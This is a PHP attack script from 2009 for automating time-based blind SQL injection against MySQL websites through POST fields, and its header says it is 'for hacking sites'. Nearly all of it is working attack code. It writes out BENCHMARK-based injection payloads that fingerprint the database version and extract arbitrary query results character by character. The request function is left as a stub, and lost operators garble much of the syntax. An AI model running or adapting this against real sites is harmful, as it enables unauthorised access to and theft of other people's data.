<?php

/* Benchmark.php - (C) CC 2009.
 * For hacking sites with blind sql benchmark vuln
 * Sites like the above would take fucking years by hand...
 * Credits: Removed For Privacy
 *
 * Mod this to your needs, add / change it to GET if you like,
 * it's currently set to inject POST fields only, as that was,
 * what I needed at the time... ;)
 */

set_time_limit('0');

if(
$argc 4) {
    echo 
"\t+ Read the script for arguments...\n\n";
    die();
}

$isite $argv[1];
$bench $argv[2];
$benchtime $argv[3];
$queries 0;

$cURL curl_init();
curl_setopt($cURLCURLOPT_HEADER1);
curl_setopt($cURLCURLOPT_URL$isite);
curl_setopt($cURLCURLOPT_POST1);
curl_setopt($cURLCURLOPT_FOLLOWLOCATION1);
curl_setopt($cURLCURLOPT_RETURNTRANSFER1);
curl_setopt($cURLCURLOPT_TIMEOUT300);
curl_setopt($cURLCURLOPT_COOKIEFILE'cookie.txt');
curl_setopt($cURLCURLOPT_COOKIEJAR'cookie.txt'); 
curl_setopt($cURLCURLOPT_USERAGENT'Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020920 Netscape/7.0');

echo 
"+ Testing if site is vulnerable... ";

$tFirstTime microtime(true);

$cont inj_post('\'',  rand(1,102),  rand(1,102));

if(
strpos($cont'You have an error in your SQL syntax;') !== false) {
    echo 
"Vulnerable\n";
} else {
    echo 
"Not vulnerable, simple check failed\n";
    die();
}


echo 
"+ Normal response time is... ";
$tStart microtime(true);
inj_post('%\' and (select case (SELECT 1) when 2 then benchmark('.$benchtime.',md5(0x3a)) end) and \'1\'=\'1'rand(1,102), rand(1,102));
$tEnd microtime(true);
echo (
$tEnd $tStart)." seconds\n+ Vuln response time is... ";

$tStart microtime(true);
inj_post('%\' and (select case (SELECT 1) when 1 then benchmark('.$benchtime.',md5(0x3a)) end) and \'1\'=\'1'rand(1,102), rand(1,102));
$tEnd microtime(true);
$tVuln = (($tEnd $tStart));
echo 
$tVuln." seconds\n";

echo 
"+ The MYSQL version is... ";
$ver 0;
for(
$i 3$i <= 5$i++) {
    
$tStart microtime(true);
    
inj_post('%\' and (select case (SELECT substring(@@version,1,1)) when '.$i.' then benchmark('.$benchtime.',md5(0x3a)) end) and \'1\'=\'1'rand(1,102), rand(1,102));
    
$tEnd microtime(true);
    if((
$tEnd $tStart) >= ($tVuln 4)) {
        
$ver $i;
        echo 
$ver."\n";
        break;
    }
}

if(
$ver == 0) {
    echo 
"Not found\n";
    die();
}

inj_query();
// add multiple queries here.

echo "\n+ Total time... ".(microtime(true) - $tFirstTime)." seconds\n+ Total queries... ".$queries."\n";
curl_close($cURL);

function 
inj_query() 
{

    global 
$tVuln$isite$bench$benchtime;
    
    
$result '';
    
$length 0;
    
    echo 
"+ Finding length of result... ";
    
    for(
$i 0$i <= 150$i++) {
        
$tStart microtime(true);
        
inj_post('%\' and (select case (SELECT LENGTH(('.$bench.'))) when '.$i.' then benchmark('.$benchtime.',md5(0x3a)) end) and \'1\'=\'1'rand(1,102), rand(1,102));
        
$tEnd microtime(true);
        
        if((
$tEnd $tStart) >= ($tVuln 4)) {
            echo 
$i."\n";
            
$length $i;
            break;
        }
    }
    
    if(
$length == 0) {
        echo 
"Error, query failed - Try again\n";
        die();
    }
    
    echo 
"+ Executing Query: ".$bench."\n";
    echo 
"+ Result (be patient): ";
    
    for(
$pos 1$pos <= $length$pos++) {
        for(
$x 45$x <= 122$x++) {
            
$tStart microtime(true);
            
inj_post('%\' and (select case (SELECT substring(('.$bench.'),'.$pos.',1)) when char('.$x.') then benchmark('.$benchtime.',md5(0x3a)) end) and \'1\'=\'1'rand(1,102), rand(1,102));
            
$tEnd microtime(true);
            if((
$tEnd $tStart) >= ($tVuln 4)){
                echo 
chr($x);
                
$result .= chr($x);
                break;
            }
        }
    }
    
    return 
$result;
    
}

function 
inj_post(...) // Fill this in for what you need.
{

    global 
$queries$cURL;
        
    
curl_setopt($cURLCURLOPT_POSTFIELDS, ...); // Fill this in also.
     
    
$queries++;
    
    return 
curl_exec($cURL);    
    
}

?>